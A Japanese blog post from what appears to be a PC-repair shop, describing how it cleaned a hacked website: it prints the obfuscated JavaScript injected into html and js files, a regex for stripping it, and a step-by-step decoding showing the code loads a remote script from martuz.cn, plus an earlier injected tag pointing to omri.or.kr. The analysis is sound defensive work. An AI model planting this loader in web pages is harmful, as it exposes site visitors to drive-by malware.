改ざんされたファイルは、ファイルの更新日付を見ると、ほぼ推測がつきますので、あとは、どこが変更されたかを目で追って、その部分を削除していきます。

改ざんパターンは、一定ですので、秀丸エディタのgrep置換機能などを使えば、数百あるファイルでも、あっという間に更新できてしまいます。

改ざんパターンは、拡張子html、shtml、jsのファイル全てに、スクリプトが埋め込まれていました。

htmlのソースコードは、<body>タグの直前に、以下のような文字列が並んでいました。

<script language=javascript><!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
--></script>

Java Scriptのファイルも<script>タグのないものが行末に追加されていました。

<!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
-->

この部分をざっくり削除してしまえば、いいわけです。

置換文字列は、^\(function\(ezEqY\)\{var.*\/g\);\n としました。行頭(function(ezEqY){var までが ^\(function\(ezEqY\)\{var です。中間部は、 .* として全てにマッチ。行末部 /g); は、 \/g\);\n で改行部分まで、置換対象としてあります。置換文字列中 \マークは、(、)、/、{などのメタキャラクタをエスケープするためのものです。

秀丸エディタの「grepして置換」ダイアログのスクリーンショットです。

 


 

埋め込まれたスクリプトは難読化してありますので、解析してみます。まず、可読性を高めるために改行します。

(function(ezEqY){
var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';
eval(unescape(cTxf.replace(ezEqY,'%')))
})
(/\~/g);

変数 cTxf 内の ~ を % に置換します。

var%20%61%3d%22%53c%72%69pt%45ngine%22%2c%62%3d%22V%65r%73io%6e()+%22%2cj%3d%22%22%2cu%3dna%76%69gator%2euser%41ge%6et%3bif((u%2e%69n%64exOf(%22C%68r%6f%6de%22)%3c%30)%26%26%28u%2ein%64exOf(%22Wi%6e%22)%3e0)%26%26(%75%2ein%64exOf%28%22NT%206%22)%3c0)%26%26(documen%74%2e%63%6fo%6b%69e%2e%69%6edexOf(%22mie%6b%3d1%22)%3c0%29%26%26%28type%6ff(%7a%72%76zts)%21%3dtypeof(%22A%22)%29)%7bzrvz%74s%3d%22%41%22%3bev%61%6c(%22%69f(w%69ndow%2e%22%2ba+%22%29j%3dj+%22+a+%22Majo%72%22%2bb+a+%22M%69%6eor%22%2bb+a+%22Build%22%2bb+%22j%3b%22)%3bdocu%6dent%2e%77%72it%65(%22%3cs%63r%69%70t%20s%72%63%3d%2f%2f%6dart%22+%22%75%7a%2ecn%2fvid%2f%3f%69d%3d%22%2bj%2b%22%3e%3c%5c%2fscript%3e%22)%3b%7d

unescapeします。デコードスクリプト

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

改行を入れると。

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
}

「http://martuz.cn/vid/?id=Webブラウザの種類」というようなスクリプトを読み込んで実行します。ブラウザのセキュリティーホールを利用した悪意のあるスクリプトを埋め込むことができます。
googleで「martuz.cn」をキーワード検索してみると、どうやらAdobe Readerのセキュリティホールを利用したマルウェアのようです。

10月に対応したホームページは、難読化されておらず、Java Scriptが<body>タグの直前に埋め込まれていました。

<script src=http://omri.or.kr/data/test.php >

いたずらっぽいですが、test.phpの中身までは、検証しませんでした。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

検索


Feed

Really Simple Syndication 2.0 The Atom Syndication Format Really Simple Discoverability